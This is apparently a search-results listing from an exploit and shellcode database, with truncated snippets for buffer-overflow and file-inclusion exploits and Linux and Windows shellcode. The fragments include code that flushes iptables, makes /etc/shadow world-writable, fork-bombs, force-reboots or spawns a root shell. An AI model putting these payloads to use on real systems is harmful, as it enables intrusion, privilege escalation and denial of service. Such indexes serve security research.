7572 matches found
linux/x86 bindport 8000 & execve iptables -F 176 bytes
No description provided by source. ; ; Title : Bindport TCP/8000 & execve iptables -F ; os : Linux x86 ; size : 176 bytes ; IP : localhost ; Port : 8000 ; Use : nc localhost 8000 ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; Web : http://www.shell-storm.org ; ; ; More shellcod...
KNet Web Server 1.04b - Stack Corruption BoF
No description provided by source. !/usr/bin/perl KNet Web Server Stack corruption BoF PoC Written by Wireghoul - http://www.justanotherhacker.com Date: 2013/04/11 Version: 1.04b Tested on: WinXP SP3 use IO::Socket::INET; $host = shift; $port = shift; print KNet Web Server stack corruption BoF Po...
Mp3-Nator 2.0 - Buffer Overflow Exploit (SEH)
No description provided by source. !usr/bin/python Exploit Title: Exploit Buffer Overflow MP3-Nator Date: 10\11\2010 Author: C4SS!0 G0M3S Software Link: http://www.brothersoft.com/d.php?softid=16524&url=http%3A%2F%2Ffiles.brothersoft.com%2Fmp3audio%2Fplayers%2Fmp3nator.zip Version: 2.0 Tested on:...
Orbital Viewer 1.04 - (.ov) Local Universal Stack Overflow Exploit (SEH)
No description provided by source. !usr/bin/perl Pro: Orbital Viewer v1.04 .orb/.ov Local Universal Stack Overflow Exploit SEH Author: CrazyHacker Download: http://www.orbitals.com/orb/setupov.exe Date: 20-6-2010 Tested: WinXp SP2 $junk = 6060; $header = OrbitalFileV1.0\n; $nseh = \xeb\xf9\xff\xf...
Yahoo Player 1.0 - (.m3u) Buffer Overflow Exploit
No description provided by source. Title: Yahoo Player v1.0 .m3u Buffer Overflow Exploit direct EIP overwrite Date: 2010-03-07 Author: BombardMr. tro0oqy originally discovered it, and gave a SEH Version:1.0 Tested on: Windows XP SP2 CVE: my $file=crash.m3u; my $junkA=Ax2080; my...
kontakt formular 1.1 - Remote File Inclusion Vulnerability
No description provided by source. HINNENDAHL.COM Kontakt Formular 1.1 formmailer.php Remote File Inclusion Vulnerability by bd0rk || SOH-Crew www.soh-crew.it.tt Contact: bd0rkathackermail.com Affected-Software: HINNENDAHL.COM Kontakt Formular 1.1 Vendor: http://www.hinnendahl.com/ Download:...
Realtek Sound Manager (rtlrack.exe 1.15.0.0) - PlayList BOF Exploit
No description provided by source. usage: exploit.py print -------------------------------------------------------------------------- print Realtek Sound Manager rtlrack.exe v. 1.15.0.0 PlayList Buffer Overflow\n print url: http://www.realtek.com.tw/\n print download:...
Linux/ARM - polymorphic chmod("/etc/shadow", 0777) - 84 Bytes
No description provided by source. / | Title: Linux/ARM - polymorphic chmod/etc/shadow, 0777 - 84 Bytes | Type: Shellcode | Author: Florian Gaultier [email protected] | Platform: Linux ARM ARM926EJ-S rev 5 v51 | + http://www.shell-storm.org / include stdio.h char shellcode =...
Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes
No description provided by source. / Title: Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes Date: 2010-06-25 Author: RubberDuck Web: http://bflow.security-portal.cz Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG 32, Win Vista 32/64, Win 7 32/64, Win 2k8 32 Thanks to:...
AkkyWareHOUSE 7-zip32.dll 4.42 Heap-Based Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/25545/info AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary machine code in the...
x86 linux hard / unclean reboot (33 bytes)
No description provided by source. / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ 0 0 \ \ /\ /\ \ \ \ /\ \ \ /\ /\ \ \ \ \ \ \ / 1 1 \ \ \ \\ \ \ /\ \...
Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow
No description provided by source. Exploit Title : Mini-stream RM-MP3 Converter? V 3.1.2.2 Local Buffer OverFlow Author : SkY-NeT SySteMs Software Link : http://mini-stream.net/rm-to-mp3-converter/download/ Version : 3.1.2.2 Tested on : Xp Sp 2 Category : Local Code : Python Email :...
SlimFTPd <= 3.16 Remote Buffer Overflow Exploit
No description provided by source. / Written by redsand [email protected] Jul 22, 2005 Vulnerable: SlimFtpd v3.15 and v3.16 origional vuln found by: Usage: ./redslim 127.0.0.1 OS RET / include stdio.h include stdlib.h include string.h ifdef WIN include winsock2.h include windows.h // pragma lib...
Exim <= 4.41 dns_build_reverse Local Exploit
No description provided by source. / ripped straight off iDEFENSE advisory - so lazy I just picked up GDB... bored on a weeknight : nothing to write home to mother about due to the fact that you need a local user account on a server and all you get is to read other people's emails .... not even m...
Linux x86 forkbombe
No description provided by source. / Title: Linux x86 forkbombe - 6 bytes Author: Jonathan Salwan [email protected] Web: http://www.shell-storm.org ! Database of shellcodes: http://www.shell-storm.org/shellcode/ Disassembly of section .text: 08048054 a: 8048054: b0 02 mov $0x2,%al 8048056: c...
Sync Breeze Server 2.2.30 - Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/python Exploit Title: Sync Breeze Server v2.2.30 Remote BOF Exploit Date: 10/10/2010 Author: Xsploited Security aka xsploitedsec URL: http://www.x-sploited.com/ Contact: xsploitedsecurity at x-sploited.com Software Link:...
PeerCast <= 0.1216 (nextCGIarg) Remote Buffer Overflow Exploit
No description provided by source. / GNU PeerCast = v0.1216 Remote Exploit ====================================== PeerCast is a simple, free way to listen to radio and watch video on the internet. A remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which can be...
Easy~Ftp Server 1.7.0.2 - Post-Authentication BoF (PoC)
No description provided by source. !/usr/bin/python Title: EasyFtp Server v1.7.0.2 Post-Authentication BoF PoC From: The eh?-Team || The Great White Fuzz we're not sure yet Found by: loneferret Hat's off to dookie2000ca Date Found: 13/02/2010 Developer contacted: 14/02/2010 Software link:...
Visitor Logger (banned.php) Remote File Include Vulnerability
No description provided by source. - Visitor Logger banned.php Remote File Include Vulnerability - Date: 2010/05/31 - Vendor: http://www.graviton-mediatech.com - Download: http://www.graviton-mediatech.com/downloads/Visitor-Logger/Visitor-Logger.zip - Googledork: n/a - Discovered by bd0rk -...
linux/x86 setreuid(0,0) execve("/bin/sh", ["/bin/sh", NULL]) 33 bytes
No description provided by source. / Linux/x86 setreuid0,0 + execve/bin/sh, /bin/sh, NULL - 33 bytes - [email protected] / char shellcode = \x6a\x46 // push $0x46 \x58 // pop %eax \x31\xdb // xor %ebx, %ebx \x31\xc9 // xor %ecx, %ecx \xcd\x80 // int $0x80 \x31\xd2 // xor %edx, %edx \x6a\x0b // pus...